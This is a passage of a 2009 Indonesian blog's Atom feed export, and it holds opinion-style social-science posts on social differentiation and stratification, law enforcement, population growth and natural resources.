style="font-family:times new roman;"&gt;   A.  Pengaruh Diferensiasi Sosial&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; Pada Modul terdahulu Anda telah mempelajari Diferensiasi Sosial. Masih ingatkah Anda perbedaaan antara Kemajemukan Sosial dengan Heterogenitas Sosial? Ada dua hal dalam Diferensiasi Sosial yang sangat mempengaruhi kehidupan masyarakat di Indonesia. Mari kita bahas: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;   *   Kemajemukan Sosial : &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; Pengelompokkan masyarakat secara horisontal yang didasarkan pada adanya perbedaan Ras, Etnis (suku bangsa), klen, agama dsbnya.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;    Kemajemukan masyarakat Indonesia terbentuk karena beberapa hal seperti:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; - Keadaan geografis Indonesia yang terdiri dari beberapa ribu pulau besar kecil dari barat sampai ke timur yang kemudian tumbuh menjadi satu kesatuan sukubangsa yang melahirkan berbagai ragam budaya. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; - Indonesia terletak antara dua titik silang samudra yaitu Samudra Hindia dan Samudra Pasifik. Letak strategis ini merupakan daya tarik bagi bangsa-bangsa asing datang dan singgah di wilayah ini sehingga Amalgamasi (perkawinan campur) dan Asimilasi (perbauran budaya) diantara kaum pendatang dan penduduk asli maupun antara kaum pendatang sendiri terjadi. Hal demikian membuat masyarakat Indonesia terdiri dari berbagai ras, etnis dan sebagainya. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; Iklim yang berbeda antara daerah satu dengan daerah lain menimbulkan perbedaan mata pencaharian penduduknya. Contoh: orang yang tinggal di wilayah pedalaman cenderung bermata pencaharian sebagai petani, sedangkan yang tinggal di wilayah pantai sebagai nelayan/pelaut.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Dapat ditarik kesimpulan dengan adanya Diferensiasi Sosial mempengaruhi terbentuknya anekaragam budaya, misalnya : bahasa, dialek, kesenian, arsitektur, alat-alat budaya, dsbnya.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;&lt;br /&gt;Heterogenitas&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; Ada dua macam Heterogenitas, yakni:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;  1) Heterogenitas masyarakat berdasarkan profesi/pekerjaan.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; Masyarakat Indonesia yang besar ini penduduknya terdiri dari berbagai profesi seperti pegawai negeri, tentara, pedagang, pegawai swasta, dsbnya. Setiap pekerjaan memerlukan tuntutan profesionalisme agar dpat dikatakan berhasil. Untuk itu diperlukan penguasaan ilmu dan melatih ketrampilan yang berkaitan dengan setiap pekerjaan. Setiap pekerjaan juga memiliki fungsi di masyarakat karena merupakan bagian dari struktur masyarakat itu sendiri. Hubungan antar profesi atau orang yang memiliki profesi yang berbeda hendaknya merupakan hubungan horisontal dan hubungan saling menghargai biarpun berbeda fungsi, tugas, bahkan berbeda penghasilan.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;  2) Heterogenitas atas dasar jenis kelamin.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; Di Indonesia biarpun secara konstitusional tidak terdapat diskriminasi sosial atas dasar jenis kelamin, namun pandangan “gender” masih dianut sebagaian besar masyarakat Indonesia.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; Pandangan gender ini dikarenakan faktor kebudayaan dan agama. Apabila kita melihat kemajuan Indoensia sekarang ini, banyak perempuan yang berhasil mengusai Iptek dan memiliki posisi yang strategis dalam masyarakat. Maka sudah selayaknya perbedaan jenis kelamin dikatagorikan secara horisontal, yaitu hubungan kesejajaran yang saling membutuhkan dan saling melengkapi.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Dari kedua macam Heterogenitas tersebut dapat ditarik kesimpulan : melalui Hetrogenitas memunculkan adanya profesionalismeprofesionalisme dalam pekerjaan, keterampilan-keterampilan khusus (skill), spesialisasi-spesialisasi pekerjaan, penyadaran HAM, dan sebagainya.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;B.  Pengaruh Stratifikasi Sosial&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; Selain menimbulkan tumbuhnya pelapisan dalam masyarakat, juga munculnya kelas-kelas sosial atau golongan sosial yang telah kita pelajari pada Modul terdahulu.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; Adanya pelapisan sosial dapat pula mengakibatkan atau mempengaruhi tindakan-tindakan warga masyarakat dalam interaksi sosialnya. Pola tindakan individu-individu masyarakat sebagai konsekwensi dari adanya perbedaan status dan peran sosial akan muncul dengan sendirinya. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt; Pelapisan masyarakat mempengaruhi munculnya life chesser &amp;amp; life stile tertentu dalam masyarakat, yaitu kemudahan hidup dan gaya hidup tersendiri. Misalnya, orang kaya (lapisan atas) akan mendapatkan kemudahan-kemudahan dalam hidupnya, jika dibandingkan orang miskin (lapisan bawah); dan orang kaya akan punya gaya hidup tertentu yang berbeda dengan orang miskin. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Contoh pelapisan sosial yang terjadi dalam masyarakat&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Gaya hidup masing-masing orang berbeda-beda. Ada orang yang hidup dengan gaya mewah, adapula yang hidup secara sederhana.Pola hidup masyakat tentunya dilatarbelakangi oleh statusnya dalam masyarakat.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Masyarakat Indonesia cenderung cepat menangkap budaya yang dibawa oleh bangsa asing. Misalnya pembauran antara budaya Indonesia yang original dengan budaya Indonesia . &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-6584777352981306349?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/6584777352981306349/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/pelapisan-sosial-masyarakat.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/6584777352981306349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/6584777352981306349'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/pelapisan-sosial-masyarakat.html' title='Pelapisan Sosial Masyarakat'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-8699915749069379273</id><published>2009-11-19T23:04:00.000+07:00</published><updated>2010-01-07T21:22:54.130+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ilmu sosial'/><title type='text'>Hukum</title><content type='html'>&lt;span style="font-family: times new roman; font-weight: bold;"&gt;Hukum di Indonesia&lt;/span&gt;&lt;br /&gt;&lt;div class="MsoNormal" style="font-family: times new roman; text-align: justify;"&gt;Penegakkan hukum di Indonesia sudah lama menjadi persoalan serius bagi masyarakat di Indonesia. Bagaimana tidak, karena persoalan keadilan telah lama diabaikan bahkan di fakultas-fakultas hukum hanya diajarkan bagaimana memandang dan menafsirkan peraturan perundang-undangan. Persoalan keadilan atau yang menyentuh rasa keadilan masyarakat diabaikan dalam sistem pendidikan hukum di Indonesia.&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="font-family: times new roman; text-align: justify;"&gt;&lt;span id="more-292"&gt;&lt;/span&gt;Hal ini menimbulkan akibat-akibat yang serius dalam kontek penegakkan hukum. Para hakim yang notabene merupakan produk dari sekolah-sekolah hukum yang bertebaran di Indonesia tidak lagi mampu menangkap inti dari semua permasalahan hukum dan hanya melihat dari sisi formalitas hukum. Sehingga tujuan hukum yang sesungguhnya malah tidak tercapai.&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="font-family: times new roman; text-align: justify;"&gt;Sebagai contoh, seluruh mahasiswa hukum atau ahli-ahli hukum mempunyai pengetahuan dengan baik bahwa kebenaran materil, kebenaran yang dicapai berdasarkan kesaksian-kesaksian, adalah hal yang ingin dicapai dalam sistem peradilan pidana. Namun, kebanyakan dari mereka gagal memahami bahwa tujuan diperolehnya kebenaran materil sesungguhnya hanya dapat dicapai apabila seluruh proses pidana  berjalan dengan di atas rel hukum. Namun pada kenyataannya proses ini sering diabaikan oleh para hakim ketika mulai mengadili suatu perkara. Penangkapan yang tidak sah, penahanan yang sewenang-wenang, dan proses penyitaan yang dilakukan secara melawan hukum telah menjadi urat nadi dari sistem peradilan pidana. Hal ini terutama dialami oleh kelompok masyarakat miskin. Itulah kenapa, meski dijamin dalam UUD 1945 dan peraturan perundang-undangan lainnya, prinsip persamaan di muka hukum gagal dalam pelaksanaannya.&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="font-family: times new roman; text-align: justify;"&gt;Kebenaran formil, kebenaran yang berdasarkan bukti-bukti surat, adalah kebenaran yang ingin dicapai dalam proses persidangan perdata. Namun, tujuan ini tentunya tidak hanya melihat keabsahan dari suatu perjanjian, tetapi juga harus dilihat bagaimana keabsahan tersebut dicapai dengan kata lain proses pembuatan perjanjian justru menjadi titik penting dalam merumuskan apa yang dimaksud dengan kebenaran formil tersebut. Namun, pengadilan ternyata hanya melihat apakah dari sisi hukum surat-surat tersebut mempunyai kekuatan berlaku yang sempurna dan tidak melihat bagaimana proses tersebut terjadi.&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="font-family: times new roman; text-align: justify;"&gt;Persoalan diatas makin kompleks, ketika aparat penegak hukum (hakim, jaksa, polisi, advokat) juga mudah atau dimudahkan untuk melakukan berbagai tindakan tercela dan sekaligus juga melawan hukum. Suatu tindakan yang terkadang dilatarbelakangi salah satunya oleh alasan rendahnya kesejahteraan dari para aparat penegak hukum tersebut (kecuali mungin advokat). Namun memberikan gaji yang tinggi juga tidak menjadi jaminan bahwa aparat penegak hukum tersebut tidak lagi melakukakn tindakan tercela dan melawan hukum, karena praktek-praktek melawan hukum telah menjadi bagian hidup setidak merupakan pemandangan yang umum dilihat sejak mereka duduk di bangku mahasiswa sebuah fakultas hukum. &lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="font-family: times new roman; text-align: justify;"&gt;Persoalannya adalah bagaimana mengatasi ini semua, tentunya harus dimulai dari pembenahan sistem pendidikan hukum di Indonesia yang harus juga diikuti dengan penguatan kode etik profesi dan organisasi profesi bagi kelompok advokat, pengaturan dan penguatan kode perilaku bagi hakim, jaksa, dan polisi serta adanya sanksi yang tegas terhadap setiap terjadinya tindakan tercela, adanya transparansi informasi hukum melalui putusan-putusan pengadilan yang dapat diakses oleh masyarakat, dan adanya kesejahteraan dan kondisi kerja yang baik bagi aparat penegak hukum.&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="font-family: times new roman; text-align: justify;"&gt;Yang menjadi pertanyaan adalah apakah kondisi yang sama pada saat ini masih akan kita temui dalam 20 tahun ke depan? Hal ini tentunya dapat kita simpulkan sendiri.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-8699915749069379273?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/8699915749069379273/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/hukum.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/8699915749069379273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/8699915749069379273'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/hukum.html' title='Hukum'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-4646230571772615155</id><published>2009-11-19T22:50:00.000+07:00</published><updated>2009-12-19T01:09:23.154+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ilmu sosial'/><title type='text'>Penduduk</title><content type='html'>Laju pertambahan penduduk&lt;br /&gt;&lt;br /&gt;Perjalanan bangsa setelah 62 tahun menikmati kemerdekaan ini harus kita direnungi. Di samping berbagai kemajuan pembangunan yang telah tercapai masih kita lihat di depan mata beratnya tugas kita mensejahterakan rakyat. Masih tampak jelas dalam kehidupan sehari-hari ketimpangan ekonomi dan sosial dalam masyarakat. Kota-kota besar berkembang secara terpusat sementara desa-desa di pedalaman seakan tak tersentuh perkembangan zaman. Pendidikan yang baik hanya dinikmati oleh mereka yang berekonomi kuat. Masalah kemiskinan dan pengangguran kian bertambah berat. Contoh sederhana dari kehidupan di perkotaan; menjamurnya para pengemis yang sebagian besar terdiri dari anak-anak dan remaja, para pemuda memungut “pajak” dari kendaraan yang berbelok, atau bermain musik ala kadarnya untuk mendapat uang. Pedagang kaki lima bertambah banyak dan sulit ditertibkan. Rumah-rumah kumuh tak layak huni tumbuh padat tak teratur, lingkungan menjadi sulit dikendalikan dengan perencanaan. Jarang orang bisa memikirkan tempat hidup yang ideal, tak terpikir untuk memperhatikan flora dan fauna yang seharusnya hadir di lingkungan sekitar. Orang-orang menghabiskan waktu duduk-duduk dan bermain di setiap jengkal lahan di luar rumah mereka yang sempit. Tak ada pekerjaan, tak ada kesempatan mengecap pendidikan, tak ada banyak pilihan. Sementara gadis-gadis belia duduk mengobrol sambil menggendong anak-anak mereka yang terlahir tanpa rencana matang. Berapa jumlah mereka 10-20 tahun mendatang?&lt;br /&gt;Selain faktor klasik mental manusia yang menyebabkan banyak permasalahan sosial ini, salah satu faktor penyebab yang cenderung diabaikan adalah pertumbuhan jumlah penduduk yang terlalu cepat dan kurang terkendali.&lt;br /&gt;Masalah pertumbuhan penduduk di daerah padat di negeri ini sudah terpikirkan sejak dahulu oleh pemerintah Hindia-Belanda dengan membuat program transmigrasi. Oleh pemerintah Republik Indonesia program transmigrasi dilanjutkan, paralel dengan pengendalian angka kelahiran melalui program Keluarga Berencana yang sekarang mengalami banyak kemunduran. Memang sulit mengurangi angka kelahiran ini karena kita sendiri dilahirkan dari masyarakat agraris yang biasa beranak banyak. Mitos "Banyak anak banyak rezeki" dan "Rezeki ditangan Tuhan" masih banyak dianut. Ada pula sekelompok masyarakat yang mengharamkan pemakaian alat kontrasepsi, namun umumnya, pendidikan yang rendah dan ekonomi keluarga yang lemahlah yang menjadi penyebab banyak orang tidak menempatkan penyediaan alat kontrasepsi sebagai prioritas belanja rumahtangga, yang akhirnya karena faktor non-teknis, terlahirlah banyak anak. Kini penduduk Indonesia berjumlah lebih dari 235 juta jiwa dengan pertumbuhan penduduk 1,3 % pertahun. Dikatakan bahwa di negeri ini setiap lima menit terlahir seorang bayi. Memang ada keuntungan diperoleh dari banyaknya jumlah penduduk, yaitu; tersedianya angkatan kerja yang banyak dan murah, tetapi dampaknya adalah perekonomian yang juga lemah yang kemudian menjadi faktor sulitnya mencapai taraf hidup yang baik.&lt;br /&gt;Bangsa Indonesia masih termasuk masyarakat yang menikah di usia muda. Pada usia 20 tahun wanita dianggap layak berkeluarga dan melahirkan anak. Walaupun konsep "Dua Anak Cukup" bisa terlaksana, dalam kurun 60 tahun bisa tercipta tiga generasi, bandingkan dengan penduduk Eropa yang rata-rata melahirkan anak di usia 30 tahun, sehingga dalam waktu yang sama hanya tercipta dua generasi. Karena itu pertumbuhan jumlah penduduk di Indonesia masih jauh lebih cepat dibandingkan negara-negara maju. Perlu dicatat bahwa usia 0 - 20 tahun adalah kelompok penduduk yang bergantung secara finansial, sementara jumlah penduduk yang produktif lebih sedikit, akibatnya beban ekonomi sangat tinggi.&lt;br /&gt;Lingkungan keluarga berpengaruh besar dalam membentuk intelektualita generasi baru. Emansipasi kaum wanita di Eropa yang tinggi menyebabkan wanita seperti halnya pria bersemangat memanfaatkan waktunya untuk terus belajar dan bekerja, tanpa mengurangi tanggungjawab membesarkan dan mendidik anak. Walau bila akhirnya memilih menjadi ibu rumah tangga dan tak bekerja, wawasan dan pengetahuan yang dimiliki sang ibu cukup luas. Jumlah anak umumnya direncanakan dengan matang, didukung ayah dan ibu yang memiliki pengetahuan baik tentang tanggungjawab sosial dan lingkungan alam. Sementara di Indonesia banyak wanita belia yang sudah terlalu sibuk mengurus tiga-empat anak sekaligus dan hanya sedikit sekali dari mereka yang berkesempatan melanjutkan pendidikan dan menekuni profesi produktif.&lt;br /&gt;Jumlah penduduk yang besar ini pulalah yang menyulitkan pemerintah untuk mewujudkan anggaran 20% dari APBN untuk pendidikan nasional, bila masalah lain yang menyangkut hal-hal dasar dalam kehidupan rakyat belum terpenuhi, seperti ketahanan pangan, kesehatan dan kestabilan ekonomi nasional. Nyata terlihat, ketika dunia global bergerak cepat dengan perkembangan yang revolusioner, sebagian besar rakyat Indonesia masih memikirkan masalah yang sangat mendasar; "Mencari makan". Masyarakat yang beruntung memiliki ekonomi yang cukup kuat tidak merasa hidup miskin sehingga kemiskinan rakyat Indonesia bukanlah hal yang perlu mereka pikirkan. Di sisi lain timpangnya akses untuk mendapat pendidikan telah membuat sebagian besar rakyat indonesia terjerumus dalam ketidakberpendidikan, mengantar menuju kebodohan massal yang enggan kita akui.&lt;br /&gt;Dari segi mental-spiritual, agama mengajarkan kebajikan dalam hidup bermasyarakat, namun masih sedikit individu penyebar ajaran agama yang memiliki pemahaman dan wawasan luas mengenai kehidupan di sisi lain di atas bumi sebagai perbandingan. Kebajikan yang diajarkan cenderung mencakup nilai-nilai lokal yang sempit, dan karena peliknya masalah ekonomi akhirnya nilai-nilai ini tidak dijalankan semestinya dalam kehidupan sehari-hari. Rasanya komentar ini tidaklah berlebihan karena selain dikenal sebagai bangsa yang religius, Indonesia juga menempati posisi sebagai negara dengan tingkat korupsi tertinggi serta salah satu negara dengan Indeks Pembangunan Manusia terendah. Dan hebatnya, bangsa kita tidak malu dengan predikat ini.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Mulailah belajar dari orang lain.&lt;br /&gt;&lt;br /&gt;Mari menilik kehidupan di skandinavia (Norwegia, Swedia, Finlandia, Estlandia, Denmark) yang dikenal sebagai negara-negara makmur. Kemakmuran bukan dinilai dari berapa uang atau materi yang dimiliki melainkan dari stabilnya sistem jaminan sosial yang merata bagi seluruh warganegaranya. Finlandia berpenduduk hanya sekitar lima juta jiwa dengan luas negara lebih besar dari pulau Jawa, berkontur danau, rawa dan hutan yang sangat luas dengan iklim musim dingin yang sangat panjang. Pada suhu -20° C penduduknya masih bekerja menebang dan mengangkut kayu di hutan. Mereka yang tinggal di kota pergi bekerja dengan bis yang bersuhu -25° C setelah dihangati, sementara suhu luar mencapai -40° C, dinginnya bukan kepalang. Di musim dingin ini pun matahari jarang terlihat. Semua orang harus berpikir dan bekerja keras untuk mengantisipasi kerasnya alam tempat mereka hidup, dan berkaitan dengan itu jaminan sosial bagi rakyatnya sangat dipentingkan. Walaupun mencapai kemakmuran, jumlah penduduk di negara-negara skandinavia ini tidak serta-merta bertambah. Di Cina, pemerintahnya menerapkan kebijakan Satu Anak yang sangat ketat dengan denda yang berat apabila dilanggar. Walaupun banyak terimplikasi masalah hak azasi manusia, program KB di Cina terbilang sukses. Setelah ekonominya berhasil diperkuat, sekarang diperbolehkan untuk memiliki dua anak, bahkan negara memberi tunjangan, asalkan ayah dan ibunya sama-sama sarjana berpendidikan tinggi. Mereka diharapkan bisa menghasilkan generasi baru yang unggul.&lt;br /&gt;Langkah efektif untuk menyelamatkan sebuah perusahaan yang terancam bangkrut selain penambahan investasi adalah perampingan jumlah karyawan, ibarat perusahaan yang sakit dan sulit menambah investasi, Indonesia perlu menekan laju pertumbuhan penduduknya dan membenahi dulu apa yang ada. Ini sangat krusial diterapkan khususnya di wilayah yang padat penduduk. Dengan tingginya jumlah penduduk dan problem sosial yang mengiringinya, sebaiknya kita berusaha mengutamakan peningkatan kualitas daripada kuantitas manusia.&lt;br /&gt;Ada baiknya bila pemerintah mencanangkan program Keluarga Berencana dengan motto "Satu Anak Cukup" serta menggalakkan pembangunan ke daerah tak padat populasi untuk merangsang minat bertransmigrasi dan menjamin keberhasilannya. Kemakmuran yang merata akan berdampak pada pengurangan potensi pertentangan budaya dan etnis yang sering terjadi. Dengan penyebaran dan pertumbuhan penduduk yang terkontrol disesuaikan dengan kemampuan ekonomi yang terbatas diharapkan pemerintah pun bisa lebih mudah memperbaiki kualitas pendidikan nasional. Bila ini terwujud, dalam waktu tidak lama hasilnya bisa kita lihat, berupa pemerataan lapangan kerja dan kemajuan di berbagai bidang. Tidak akan ada lagi manusia yang melihat manusia yang lain sebagai manusia kelas rendahan atau sekedar pemandangan. Masyarakat bisa lebih memperhatikan kualitas hidup yang bukan diukur dari jumlah uang, anak-anak bisa leluasa bermain dan belajar, memperhatikan keserasian lingkungan hidup serta kreatif mengembangkan kebudayaan. Unit-unit usaha bisa berjalan dengan kinerja yang membanggakan. Ekspor Tenaga Kerja Indonesia tidak lagi mengandalkan tenaga kerja rendah kompetensi yang sering menyebabkan masalah perlakuan buruk di negeri asing, melainkan tenaga ahli yang mampu membawa nama harum bangsa, bahkan tidak mustahil kita bisa menjadi salah satu pemain vital dalam perekonomian dunia. Dan tidak akan ada lagi gurauan bahwa satu-satunya keahlian bangsa Indonesia adalah memproduksi anak.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-4646230571772615155?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/4646230571772615155/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/penduduk.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/4646230571772615155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/4646230571772615155'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/penduduk.html' title='Penduduk'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-2194576101729676806</id><published>2009-11-19T22:21:00.000+07:00</published><updated>2009-12-19T01:02:11.267+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ilmu sosial'/><title type='text'>Sumber Daya Alam</title><content type='html'>&lt;p  style="font-weight: bold; color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt;&lt;span style="color: rgb(0, 0, 0);font-size:130%;" &gt;SDA&lt;/span&gt;&lt;/p&gt;&lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;Alam                  pada dasarnya mempunyai sifat yang beraneka ragam, namun serasi                  dan seimbang. Oleh karena itu, perlindungan dan pengawetan alam                  harus terus dilakukan untuk mempertahankan keserasian dan keseimbangan                  itu. &lt;/span&gt; &lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Semua kekayaan bumi, baik biotik maupun abiotik, yang dapat dimanfaatkan                  untuk kesejahteraan manusia merupakan sumber daya alam. Tumbuhan,                  hewan, manusia, dan mikroba merupakan sumber daya alam hayati,                  sedangkan faktor abiotik lainnya merupakan sumber daya alam nonhayati.                  Pemanfaatan sumber daya alam harus diikuti oleh pemeliharaan dan                  pelestarian karena sumber daya alam bersifat terbatas. &lt;/span&gt;                &lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Sumber daya alam ialah semua kekayaan bumi, baik biotik maupun                  abiotik yang dapat dimanfaatkan untuk memenuhi kebutuhan manusia                  dan kesejahteraan manusia, misalnya: tumbuhan, hewan, udara, air,                  tanah, bahan tambang, angin, cahaya matahari, dan mikroba (jasad                  renik). &lt;/span&gt; &lt;/p&gt;               &lt;span style="color: rgb(0, 0, 0); font-family: times new roman;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-family: times new roman;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                Menurut urutan kepentingan, kebutuhan hidup manusia, dibagi menjadi                dua sebagai berikut.&lt;br /&gt;        1. &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-family: times new roman;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                Kebutuhan Dasar.&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-family: times new roman;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;Kebutuhan                ini bersifat mutlak diperlukan untuk hidup sehat dan aman.&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-family: times new roman;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;Yang                termasuk kebutuhan ini adalah sandang, pangan, papan, dan&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-family: times new roman;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;udara                bersih. &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-family: times new roman;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;         &lt;br /&gt;        &lt;/span&gt;                &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  2. Kebutuhan sekunder.&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;Kebutuhan                  ini merupakan segala sesuatu yang diperlukan untuk lebih&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;menikmati                  hidup, yaitu rekreasi, transportasi, pendidikan, dan hiburan.                  &lt;/span&gt; &lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;b&gt;Mutu lingkungan&lt;br /&gt;          &lt;/b&gt; &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Pandangan orang dalam memenuhi kebutuhan hidupnya memang berbeda-beda                  karena antara lain dipengaruhi oleh faktor ekonomi, pertimbangan                  kebutuhan, sosial budaya, dan waktu.&lt;br /&gt;          &lt;/span&gt;&lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;"&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;Semakin                  meningkat pemenuhan kebu&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;tuhan                  untuk kelangsungan hidup, maka &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  semakin baik pula mutu hidup. Derajat pemenuhan kebutuhan dasar                  manusia dalam &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  kondisi lingkungan disebut mutu lingkungan.&lt;br /&gt;   &lt;br /&gt;          &lt;/span&gt; &lt;span style="font-size:100%;"&gt;&lt;b&gt;Daya                  dukung lingkungan&lt;br /&gt;          &lt;/b&gt;&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Ketersediaan sumber daya alam untuk &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  memenuhi kebutuhan dasar, dan tersedianya &lt;/span&gt; &lt;span style="color: rgb(0, 0, 